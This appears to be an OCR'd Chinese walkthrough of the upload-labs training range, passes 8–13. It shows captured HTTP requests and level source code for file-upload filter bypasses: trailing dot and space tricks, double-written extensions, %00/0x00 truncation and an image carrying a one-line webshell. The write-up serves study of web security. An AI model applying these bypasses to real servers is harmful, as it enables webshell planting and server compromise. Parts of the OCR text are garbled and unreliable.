		System	Windows NT DESKTOP-42010UK 6.2 build 9200			
		Build Date	Jan 6 2011 17:26:08			
		Configure Command	cscript Inologo configure js "-enable-snapshol-build"mable-debug-pack"with- snapshol-tempiate=clipho-sdxisnap_5_wc60x69tempiate"with-php-build=d:thp- sdxisnap_5_2wc60x60php_build="-with-php-od-ol-php-sdxisneitemstanticient10 kdx.shared"with-oci8=D1php-sdxioracleinstanticient10ksdx,shared "with-out- pJaveb"			
		Server API	Apache 2.0 Handler			
		Virtual Directory Support	enabled			
		Configuration File (php.ini) Path	C:Windows			
		Loaded Configuration File	E:\phpstudy\PHPTutorial\WWWupload-labs-env\PHP\php.ini			
		Scan this dir for additional .ini files	(none)			

在后缀后面添加 %81~%99 进行url编码后可以绕过。

请求(Req ^	有效载荷	状态(Status)	错误(Err	超时	长度(Length)	注释(Comment)
0		200			3814	
1	0	200			3814	
2		200			3814	
3		200			3814	
4	0	200			3814	
5	0	200			3814	0
6		200			3814	
7	0	200			3814	λ,
8		200			3814	2
9		200			3814	(
10		200			3814	~
11	0	200			3814	0
12	٥	200			3814	Ō
13	0	200			3814	
14		200			3814	
15	0	200			3814	
16	0	200			3814	
17	0	200			3814	
18	0	200			3814	
19	٥	200			3814	
20		200			3814	

请求(Req	quest) 响应(Respons)	
美化(Prett	tty) 原始(Raw) 16进制(Hex) 响应内容(Render)	
64	(div id="msg")	
65	(div)	
66	(div id="img")	
67	<pre></pre>	
68		
69		
70		
71		
72		
73	<pre><div id="footer"></div></pre>	
74	<center></center>	
	Copyright @ 	
	by c0ny1	

phpinfo() \times	+			SEA
$\leftarrow \rightarrow G$	⑦ ♣ 192.168.93.128/upload/202204172200456696.php			8 ☆
		PHP Version	5.2.17 Php	
]	System	Windows NT DESKTOP-42010UK 6.2 build 9200	
		Build Date	Jan 6 2011 17:26:08	
		Configure Command	cscript/nologo.comfigure js 'enable-snapshot-build' 'anable-debug-pad''with- snapshot-template=d'php-sdksnap_5_2/vc60v86itemplate''with-ph-build=d'php- sdksnap_5_2/vc6v86iphp_build''with-pdo-ocid-D/php-sdkoracteinstantclient10 'sdk.shared''with-od8=D'php-sdkoracteinstantclient10isdk.shared''with-oul pJ&veb''	
		Server API	Apache 2.0 Handler	
		Virtual Directory Support	enabled	
		Configuration File (php.ini) Path	C:Windows	

请求(Req ^	有效载荷	状态(Status)	错误(Err	超时	长度(Length)	注释(Comment)	
0		200			3814		
1		200			3814		
2		200			3814		
3		200			3814		
4		200			3814		
5	٥	200			3814 %84		
6		200			3814		
7		200			3814		
8		200			3814		
9		200			3814		
10		200			3814		
11		200			3814		
12		200			3814		
13		200			3814		
14		200			3814		
15		200			3814		
16		200			3814		
17		200			3814		
18		200			3814		
19		200			3814		
20		200			3814		
请求(Reque	st) 响应(Respons)						

美	七(Pretty)	原始(Raw)	16进制(Hex)	啊应内容(Render)
60				······
		请选	择要上传的图	牛: >
61		<:	input class="	'input_file" type="file" name="upload_file"/>
62		<:	input class="	'button" type="submit" name="submit" value="上传"/>
63		<th>orm></th> <th></th>	orm>	
64		<di,< th=""><th>v id=″msg″></th><th></th></di,<>	v id=″msg″>	
65		<th>iv></th> <th></th>	iv>	
66		(di	, id=″img″≻	
67		<:	img src=″/ι	.pload/202204172200454790.php ″width=″250px″/>
		<th>iv></th> <th></th>	iv>	

phpinfo() ×	+			SEA SHEPI
$\leftarrow \rightarrow \mathbf{G}$	⑦ A 192.168.93.128/upload/202204172200454790.php			
		PHP Version	15.2.17 Php	
		System	Windows NT DESKTOP-42010UK 6.2 build 9200	
		Build Date	Jan 6 2011 17:26:08	
		Configure Command	Cscript Anologo configure 3enable-anapehot-build"enable-debup pack"with- snapshol-template-diphp-sdtknap_5_2vc60x861template"with-php-build=diphp- sdtknap_5_2vc60x86php_build"with-pco-cd-of-byhp-sdtkoradetistanticett10 Vadkshared"with-od8=D:php-sdtkoradetistantclient10sdt,shared"without- pl3veb"	
		Server API	Apache 2.0 Handler	
		Virtual Directory Support	enabled	
		Configuration File	C'Windows	

```
# 源码
msg = null;
if (isset($_POST['submit'])) {
 if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp4",".pHp2",".Html",".Htm
 ".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx"
 '.asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    $file_name = trim($_FILES['upload_file']['name']);
    $file name = deldot($file name);//删除文件名末尾的点
    $file_ext = strtolower($file_ext); //转换为小写
    $file ext = trim($file ext); //首尾去空
    if (!in_array($file_ext, $deny_ext)) {
      $temp_file = $_FILES['upload_file']['tmp_name'];
      $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; *
      if (move_uploaded_file($temp_file, $img_path)) {
      } else {
         $msg = '上传出错! ';
    } else {
      $msg = '此文件类型不允许上传!';
    $msg = UPLOAD PATH. '文件夹不存在,请手工创建!';
  为什么这关不使用 nginx 的 .user.ini 上传呢,原因就在于 strrchr() 函数和 上面标 * 号的位置。
```

这关在 Windows 下绕过的技巧还是蛮多的,Linux下的话,我还没找到什么方法可以绕过,欢迎有思路的大佬 指点指点。

方法: 空字符绕过

Pass-09(Windows 环境)

随便上传个文件,看到响应信息,初步判断这里是黑名单、这次名字没有被改。



尝试上传以下敏感文件和后缀加点或者空格的文件,检测一下过滤机制



上传的文件被删掉了一个空格和一个点,最后留下的是有个空格,说明进行没有循环过滤,只过滤了两次空格和一次点。

请求(Request)	响应(Respons)
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🚍 \n ☰
1 POST /Pass-09/index.php HTTP/1.1	
2 Host: 192.168.93.128	55
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	上传一个 <code></code>
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8	webshell
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2	
6 Accept-Encoding: gzip, deflate	到服务器。
7 Content-Type: multipart/form-data;	
boundary=220157048334110678202053572186	56 11
8 Content-Length: 388	57
9 Origin: http://192.168.93.128	58 <h3></h3>
10 Connection: close	上传区
11 Referer: http://192.168.93.128/Pass-09/index.php	
12 Upgrade-Insecure-Requests: 1	59 <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"></form>
13	60
14220157048334110678202053572186	请选择要上传的图片:
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php "	61 <input class="input_file" name="upload_file" type="file"/>
16 Content-Type: application/octet stream	62 <input class="button" name="submit" type="submit" value="上传"/>
17	63
18 php phpinfo(); ?	64 <div id="msg"></div>
19	65
20	66 (div id="img">
21220157048334110678202053572186	67
22 Content-Disposition: form-data; name="submit"	
23	
24 上传	68 1i
25	69
	70
	71

靶场是在windows下的,这个情况已经可以绕过了,保存的文件中没有点和空格。

与求(Request)	响应(Respons)
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies ラ In ヨ	差化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers)
POST /Pass-09/index.php HTTP/1.1	1 HTTP/1.1 200 OK
Host: 192.168.93.128	2 Date: Mon, 18 Apr 2022 02:00:36 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	3 Server: Apache/2.2.25 (Win32) mod_ss1/2.2.25 OpenSSL/0.9.8y PHP/5.2.17
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8	4 X-Powered-By: PHP/5.2.17
Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2	5 Content-Length: 3570
Accept-Encoding: gzip, deflate	6 Connection: close
Content-Type: multipart/form-data;	7 Content-Type: text/html;charset=utf-8
boundary=220157048334110678202053572186	8
Content-Length: 388	9 <html></html>
Origin: http://192.168.93.128	10 <head></head>
Connection: close	11 <pre>(meta http=equiv="Content=Type" content="text/html;charset=utf=8"/</pre>
Referer: http://192.168.93.128/Pass-09/index.php	12 12 k rel="icon" type="image/x-icon" href="/img/favicon.png" />
Upgrade-Insecure-Requests: 1	
	13 (+i+la)

phpinfo() ×	+			SFA SH	IE D H E	R
$\leftarrow \ \rightarrow \ \mathbf{G}$	🔿 👌 192.168.93.128/upload/phpinfo.php			8 ☆	لم ⊚	` ©`
		PHP Version 5.2.17	oho			

System	Windows NT DESKTOP-42010UK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript Anologo configue ja "anable-anapshoh-build" "anable-debug-pack"with- snapshoh-lemplate-d'(php-sdkisnap_5_2/vc6i/s68template" 'with-php-build=d'(php- sdkisnap_5_2/vc6i/s68php_build"with-pdo-cd-0_byhp-sdkisnatedieinstantclient10 lsdk,shared"with-oc8=D(php-sdkisnatedieinstantclient10isdk,shared" 'without- pJoweb"
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:Windows
Loaded Configuration File	E:lphpstudy/PHPTutorial/WWWupIoad-labs-env/PHP\php.ini
Scan this dir for additional .ini files	(none)

<i>源码</i>
βis_upload = false;
Smsg = null;
f (isset(\$_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
',".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx
".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
\$file_name = trim(\$_FILES['upload_file']['name']);
\$file_name = deldot(\$file_name);//删除文件名末尾的点
\$file_ext = strrchr(\$file_name, '.'); // 截取最后一个点的位置到最后的位置(所以上面必须要在后缀后面跟上两个点,一个被deldot去除了,
留下一个就是为了能让截取函数不截取.php的关键字)
\$file_ext = strtolower(\$file_ext); //转换为小写
\$file_ext = str_ireplace('::\$DATA', '', \$file_ext);//去除字符串::\$DATA
\$file_ext = trim(\$file_ext); //首尾去空
if (!in_array(\$file_ext, \$deny_ext)) {
\$temp_file = \$_FILES['upload_file']['tmp_name'];
\$img_path = UPLOAD_PATH.'/'.\$file_name;
if (move_uploaded_file(\$temp_file, \$img_path)) {
\$is_upload = true;
} else {
\$msg = '上传出错!';
} else {
\$msg = '此文件类型不允许上传!';
} else {
\$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';

方法:绕过 trim函数、deldot函数和strrchr函数

Pass-10

随便先上传一个shell文件,看到响应,就知道 这里的php 关键字 被过滤了

请求(Request)	响应(R	Respons)						1
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies ラ In 三	美化(Pr	Pretty) 原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)		🗊 V	n =
1 POST /Pass-10/index.php HTTP/1.1								
2 Host: 192.168.93.128	55							
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0		上传一	个 <code></code>					
4 Accept: text/html, application/xhtml+xml, application/xml; q=0. 9, image/avif, image/webp, */*; q=0. 8		webs	shell					
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2		<td>e></td> <td></td> <td></td> <td></td> <td></td> <td></td>	e>					
6 Accept-Encoding: gzip, deflate		到服务	- FR					
7 Content-Type: multipart/form-data;								
boundary=220157048334110678202053572186	56							
8 Content-Length: 388	57	<1i>>						
9 Origin: http://192.168.93.128	58	<h3></h3>						
10 Connection: close		上传区						
11 Referer: http://192.168.93.128/Pass-10/index.php								
12 Upgrade-Insecure-Requests: 1	59	<form er<="" td=""><td>nctype="multi;</td><td>part/form-data"</td><td>'method="post"></td><td></td><td></td><td></td></form>	nctype="multi;	part/form-data"	'method="post">			
13	60							
14220157048334110678202053572186		请选	择要上传的图片	†:				
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php "	61	< i	input class="	input_file" typ	pe="file" name="upl	cad_file"/>		
16 Content-Type: application/octet-stream	62	<1	input class="	button″type=″s	submit″ name=″submi	t″value=″上传″/>		
17	63	<td>orm></td> <td></td> <td></td> <td></td> <td></td> <td></td>	orm>					
18 php phpinfo(); ?	64	<di td="" v<=""><td>v id="msg"></td><td></td><td></td><td></td><td></td><td></td></di>	v id="msg">					
19	65	<td>Lv></td> <td></td> <td></td> <td></td> <td></td> <td></td>	Lv>					
20	66	(din	id-img>					
21220157048334110678202053572186	67	<i< td=""><td>img src="/u</td><td>pload/<mark>info</mark>."</td><td>'width="250px" /></td><td></td><td></td><td></td></i<>	img src="/u	pload/ <mark>info</mark> ."	'width="250px" />			
22 Content-Disposition: form-data; name="submit"								
23			v>					
24 上传	68	11						
25220157048334110678202053572186	69							
	70							
	71	111. 5						
	72							
	13	<arv 1d="foo</td"><td>oter ></td><td></td><td></td><td></td><td></td><td></td></arv>	oter >					
	14	<center></center>	+ 0 la		and the stars #5			
		Copyrigh	itenbsp;@enbs	p;∖span 1d≕ cop	oyright_time >			

发送(Send) 取消(Cancel) < I > I

美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🕞 🕅 🗄	☰ 美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers)
1 POST /Pass-10/index.php HTTP/1.1	上传区
2 Host: 192.168.93.128	
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	59 <form enctype="multipart/form-data" method="post"></form>
4 Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, */*; q=0.8	60
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2	请选择要上传的图片:
ô Accept-Encoding: gzip, deflate	61 <input class="input_file" name="upload_file" type="file"/>
7 Content-Type: multipart/form-data;	62 <input <="" class="button" name="submit" td="" type="submit" value="上传"/>
boundary=220157048334110678202053572186	63
8 Content-Length: 387	64 <div id="msg"></div>
9 Origin: http://192.168.93.128	65 (/div)
0 Connection: close	66 <div id="img"></div>
1 Referer: http://192.168.93.128/Pass-10/index.php	67
2 Upgrade-Insecure-Requests: 1	
3	
4220157048334110678202053572186	68 /1i
5 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.pphphp"	69
8 Content-Type: application/octet-stream	70
7	71
8 php phpinfo(); ?	72
9	73 <div id="footer"></div>
0	74 <center></center>
1220157048334110678202053572186	Copyright @
2 Content-Disposition: form-data; name="submit"	
3	by
4 上传	c0ny1
5220157048334110678202053572186	

双写正常绕过,这里没有进行循环过滤关键字,访问shell地址即可

phpinfo() ×	🗟 upload-labs × +			S F
$\leftarrow \ \rightarrow \ \mathbf{G}$	🔿 👌 192.168.93.128/upload/info.php			8 ↔
		PHP Version	5.2.17 Php	
		System	Windows NT DESKTOP-42010UK 6.2 build 9200	
		Build Date	Jan 6 2011 17:26:08	
		Configure Command	cscript/mologo configure.js "enable-snapshot-build" "enable-debug-pack" "with- snapshotHemplate-dt.php-sdiksnap_S_2vxc6v869template" "with-php-build=dt.php- sdiksnap_5_2vxc6v86php_build"with-pho-cid-Diphp-sdikrade/instanticient10 Vsdk.shared"with-oci8=D1php-sdikoraclevinstantcient10/sdk.shared"without- pi3web"	
		Server API	Apache 2.0 Handler	
		Virtual Directory Support	enabled	
		Configuration File (php.ini) Path	C:Windows	
		Loaded Configuration File	E:\phpstudy\PHPTutorial\WWWupload-labs-env\PHP\php.ini	
		Scan this dir for additional .ini files	(none)	

方法:关键词双写绕过

Pass-11

我直接按照上一题的文件上传了,提示只能上传 .jpg |.png |.gif 文件,白名单了,尝试 MIME | 文件头校验 | 0x0a 解析漏洞



先尝试一下 MIME ,不能绕过

请求(Request)			响应(Respons)					
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	Ť	美化(Pretty) 原	討始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)		
1 POST /Pass-11/index.php HTTP/1.1								
2 Host: 192.168.93.128	56	5 </td <td>/1i></td> <td></td> <td></td> <td></td>	/1i>					
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	57	7 <1	li>					
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8	58	3	<h3></h3>					
5 Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2			上传区	6				
6 Accept-Encoding: gzip, deflate								
7 Content-Type: multipart/form-data;	59	9	<form a<="" td=""><td>ction="?save</td><td>_path=/upload/</td><td><pre>enctype="multipart/form-c</pre></td></form>	ction="?save	_path=/upload/	<pre>enctype="multipart/form-c</pre>		
boundary=220157048334110678202053572186	60)						
8 Content-Length: 369			请选	上择要上传的图	片: >			
9 Origin: http://192.168.93.128	61	L	<	input class=	"input_file" typ	e="file" name="upload_file'		
10 Connection: close	62	2	<	input class="	"button" type="s	ubmit" name="submit" value=		
11 Referer: http://192.168.93.128/Pass-11/index.php	63	3	<td>orm></td> <td></td> <td></td>	orm>				
12 Upgrade-Insecure-Requests: 1	64	1	< <u>di</u>	v id="msg">				
13	65	5	损	是示: 只允许上	传.jpg .png .gif	类型文件!		
14220157048334110678202053572186			< <mark>/</mark> d	iv>				
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"	66	5	<di< td=""><td>v id="img"></td><td></td><td></td></di<>	v id="img">				
16 Content-Type: image/png	67	7	<td>iv></td> <td></td> <td></td>	iv>				
17	68	3						
18 php phpinfo(); ?	69	9						
19	70) </td <td>/div></td> <td></td> <td></td> <td></td>	/div>					
20	71	L						
21220157048334110678202053572186	72	2 <td>iv></td> <td></td> <td></td> <td></td>	iv>					
22 Content-Disposition: form-data; name="submit"	73	3 <di td="" v<=""><td>v id="fo</td><td>oter"></td><td></td><td></td></di>	v id="fo	oter">				
23	74	4 <0	center>					
24 上传			Copyrig	ht @&nb:	sp; <span <mark="">id=″cop	yright_time">		
25220157048334110678202053572186								
			b;	y <a hr<="" td=""><td>e<mark>f=</mark>"http://gv7.m</td><td>e″target=″_bank″></td>	e <mark>f=</mark> "http://gv7.m	e″target=″_bank″>		
			c0ny1					
	1	<	/center>					

尝试 文件头,也不能绕过



但是注意到一个地方,就是文件保存的路径,是直接使用的post请求,将文件拼接到路径下,这样就可以尝试一下 %00 截断。

发送(Send) 取消(Cancel)		目						
请求(Request)	响应(Respons)							
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🗐 \n I	=						
1 POST /Pass=11/index.php?save_path=/upload/phpinfo.php%00 HTTP/1.1	57 <1i>							
2 Host: 192.168.93.128	58 <h3></h3>							
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	上传区							
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8								
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2	59 <form action="?save_path=/upload/" enctype="multipart/form-data" method="post"></form>							
6 Accept-Encoding: gzip, deflate	60							
7 Content-Type: multipart/form-data;	请选择要上传的图片:							
boundary=220157048334110678202053572186	61 <input class="input_file" name="upload_file" type="file"/>							
8 Content-Length: 369	62 <input class="button" name="submit" type="submit" value="上传"/>							
9 Origin: http://192.168.93.128	63							
10 Connection: close	64 <div id="msg"></div>							
11 Referer: http://192.168.93.128/Pass=11/index.php	65							
12 Upgrade-Insecure-Requests: 1	66 <div d="img" i=""></div>							
13	67 							
1422015704833411067820205357218d								
15 Content-Disposition: form-data; name="upload file"; filename="phpinfo.png"								
16 Content-Type: image/png	68 1i							
17	69							
18 php_phpinfo(): ?	70							
	71							
20	72							
21220157048334110678202053572186	73 (div id="footer")							
22 Content-Disposition: form-data: name="submit"	74 (center)							
	Convright&nhsn:@shbsn: <snan_id="convright_time"></snan_id="convright_time">							
	(/ena)							
25	<pre>% approx by a braf="http://gv7 me" target=" hank" ></pre>							
	a logic by a boy to meet meeting of the carget _bank /							

成功的上传上去了 %00 会在提交之后被解析,因此服务器就直接将**%00的前部分**进行了保存,而后面的就被截断了。访问前部分的地址即可。
phpinfo() ×		👼 upload-labs		+
$\leftarrow \ \rightarrow \ \mathbf{G}$		🔿 掻 192.168.93.128/	upload/pl	npinfo.ph

php PHP Version 5.2.17 System Windows NT DESKTOP-42010UK 6.2 build 9200 **Build Date** Jan 6 2011 17:26:08 cscript /nologo configure js "--enable-snapshot-build" "--enable-debug-pack" "--with-snapshot-template-d/php-sd/ksnap_5_2vc6iv86/template" "--with-php-build" --d/php-sd/ksnap_5_2vc6iv86/bphp_build" --with-pdo-oci=D/php-sd/koracle/instantclient10 tsd(kshared" --with-oc8=D/php-sd/koracle/instantclient10isd(kshared" --without-pl3web" Configure Command Apache 2.0 Handler enabled Server API Virtual Directory Support Configuration File C:\Windows (php.ini) Path C:\Windows Loaded Configuration File E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini Scan this dir for additional .ini files (none) additional .ini files parsed (none)

发现一个问题,没解决掉,如果使用完整的地址访问也是可以访问到的,按理说这个png文件应该是不会存在的,但是却可以正常的访问到不知道是什么原因。

pstudy > PHPTutorial > WWW > upload-	Ö			
へ 名称	修改日期	类型	大小	
🗋 phpinfo.php	2022/4/18 11:09	PHP 文件		1 KB

phpinfo() × r upload-labs × +			SEA
← → C () 👌 192.168.93.128/upload/phpinfo.php/442022041811091	3.png		
	PHP Version	5.2.17 Php	
	System	Windows NT DESKTOP-42010UK 6.2 build 9200	
	Build Date	Jan 6 2011 17:26:08	
	Configure Command	cscript/nologo.configure_igi =enable-snapshot-build":enable-debug-pack":with- snapshot-template-dr/php-sdk/snap_5_2wc6ix68/template":with-php-build=dr/php- sdk/snap_5_2wc6ix68/php_build":with-pdo-oci=D/php-sdk/oracle/instantclient10 'sdk.shared":with-oci8=D/php-sdk/oracle/instantclient10/sdk.shared":without- pJaweb"	
	Server API	Apache 2.0 Handler	
	Virtual Directory Support	enabled	
	Configuration File (php.ini) Path	C:Windows	
	Loaded Configuration File	E:lphpstudy/PHPTutorial/WWW/upload-labs-en/PHPlphp.ini	
	Scan this dir for additional .ini files	(none)	
	additional .ini files parsed	(none)	
	PHP API	20041225	
	PHP Extension	20060613	
	Zend Extension	220060519	

后来又随便的测试了下,发现被截断的文件后面不管跟什么都可以解析到上传的那个文件

请求(Reques	t)						响应(Res	oons)					= =
美化(Pretty)	原始(Raw)	16进制(Hex		Cookies		≣ \n ≡	美化(Prett	/) 原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)		⇒ In =
<pre>1 GET /upload/phpinfo.php/fafng.php HITP/1.1 2 Host: 192.168.93.128 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8 5 Accept: Dermons.php.Hor.B. do = 0.9 Activate 0.2 accept: 0.2 ac</pre>						PHP Vers							
6 Accept-En 7 Connectio	ncoding: g n: close	zip, deflat	0, 21	1 1w,q-0.7,211 1k,q-0.5,e.	n 03,q-0.3,en,q-0.2			System Build Date	Windows	NT DESKTOP-42010U	< 6.2 build 9200		
<pre>8 Upgrade-Insecure-Requests: 1 9</pre>				Configure Command	cscript /nc snapshot- sdk\snap_ sdk\oracle sdk\oracle	logo configure js "enab template=d:\php-sdk\sna 5_2\vc6\x86\php_build" ' \instantclient10\sdk,shar \instantclient10\sdk,shar	le-snapshot-build" "enabl p_5_2\vc6\x86\template" ". "-with-pdo-oci=D\php- ed" "with-oci8=D\php- ed" "without-pi3web"	le-debug-pack" "with- with-php-build=d:\php-					
								Server API	Apache 2.	0 Handler			
								Virtual Direct Support	ory enabled				
								Configuration File (php.ini)	n C:\Window Path	VS			
								Loaded Configuration File	E:\phpstu	dy\PHPTutorial\WWW\up	load-labs-env\PHP\php.ini	I	
								Scan this dir additional .in	for (none)				

就挺奇怪的。

方法:%00截断绕过

Pass-12

请求(Request)	响应(R	espons)				
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🚍 \n ☰	美化(Pr	retty) 原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)	🚍 \n ≡
1 POST /Pass-12/index.php HTTP/1.1	55					
2 Host: 192.168.93.128		上传	一个 <code></code>			
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0		We	ebshell			
4 Accept:		<td>ode></td> <td></td> <td></td> <th></th>	ode>			
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8		到服	务器。			
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2						
6 Accept-Encoding: gzip, deflate	56					
7 Content-Type: multipart/form-data;	57	<1i>>				
boundary=95761832841855869693483956366	58	<h3></h3>				
8 Content-Length: 506		上传	X			
9 Origin: http://192.168.93.128						
10 Connection: close	59	<form< td=""><td>enctype="mult</td><td>ipart/form-data″</td><td>method="post"></td><th></th></form<>	enctype="mult	ipart/form-data″	method="post">	
11 Referer: http://192.168.93.128/Pass-12/index.php	60	 k b 				
12 Upgrade-Insecure-Requests: 1		请	i选择要上传的图	片: >		
13	61		<input type="</td><td>hidden″name=″sav</td><td>/e_path″ value=″</td><th>/upload/"/>			
1495761832841855869693483956366	62		<input class="</td"/> <td>"input_file" type</td> <td>e="file" name="upl</td> <th>oad_file"/></th>	"input_file" type	e="file" name="upl	oad_file"/>
15 Content-Disposition: form-data; name="save_path"	63		<input class="</td"/> <td>"button" type="su</td> <td>ubmit″ name=″submi</td> <th>t″value=″上传″/></th>	"button" type="su	ubmit″ name=″submi	t″value=″上传″/>
16	64	4	form>			
17/upload/	65	<c< td=""><td>div id="msg"></td><td></td><td></td><th></th></c<>	div id="msg">			
18	66		提示: 只允许上	传.jpg .png .gif	类型文件!	
19 Content-Disposition: form-data; name= upload_file ; filename= phpinfo.php		</td <td>div></td> <td></td> <td></td> <th></th>	div>			
20 Content Type. application/octet stream	67	<0	div id="img">			
	68	</td <td>(div></td> <td></td> <td></td> <th></th>	(div>			
22 (rpp pnpinio); 7)	69	11</td <td>1></td> <td></td> <td></td> <th></th>	1>			
23	70					
24	71					
20	72					
20 Content-Disposition: form-data, name- scomit	73					
	74	<d1v 1d="1</td> <td>tooter ></td> <td></td> <td></td> <th></th>	tooter >			
20	10	<center?< td=""><td>2</td><td>1 1 1 1</td><td>1.1.1.1.1.1.1.</td><th></th></center?<>	2	1 1 1 1	1.1.1.1.1.1.1.	
73		Copyri	igntanosp;@anb	sp; <span 1d≕="" cop;<="" td=""><td>rignt_time></td><th></th>	rignt_time>	

随便上传了一个文件就发现这里的表单还有个隐藏的输入框,值是 文件保存的路径,这里就直接使用 0x00 截断来进行绕过



虽然响应中返回的是png的路径,实际上文件保存的时候并没有将 0x00 后面的保存下来,访问一下。



方法: 0x00截断绕过

Pass-13



看任务是要上传图片□先测试上传 gif 类型的文件然后抓包看数据。在百度上随便下载一个gif图,正常上传抓包



这里存在一个文件包含的php文件,在gif图片最后的位置 添加上一句话木马再上传,通过文件包含来执行代码

取消(Cancel)	$ \langle \rangle$	
------------	------------------------	--

发送(Send)

请求(Request)		向应(Respor	15)					Inspect
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰		美化(Pretty)	原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)	🥽 \n 🚍	Request
1 POST /Pass-13/index.php HTTP/1.1			<td>></td> <td></td> <td></td> <td></td> <td></td>	>				
2 Host: 192.168.93.128			或 <cod< td=""><td>e></td><td></td><td></td><td></td><td>Request (</td></cod<>	e>				Request (
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0			webs	hell				nequest
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8			<td>></td> <td></td> <td></td> <td></td> <td>Permat</td>	>				Permat
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2			代码。					Request
6 Accept-Encoding: gzip, deflate								_
7 Content-Type: multipart/form-data;	58	3						Request
boundary=415188833840425753222116650416			2. 使用。	<a _bank"="" href="/in</td><td>clude.php targe</td><td>et=">				
8 Content-Length: 114014			又任	包含漏洞				请求头(Re
9 Origin: http://192.168.93.128					6. 10 77			
10 Connection: close			能运行	图片与中的恙测	忌代码。			Response
11 Referer: http://192.168.93.128/Pass-13/index.php	-							
12 Upgrade-Insecure-Requests: 1	05	1	 <	77777				
13			3. 图片	与安 <code></code>				
14415188833840425753222116650416			. Jpg					
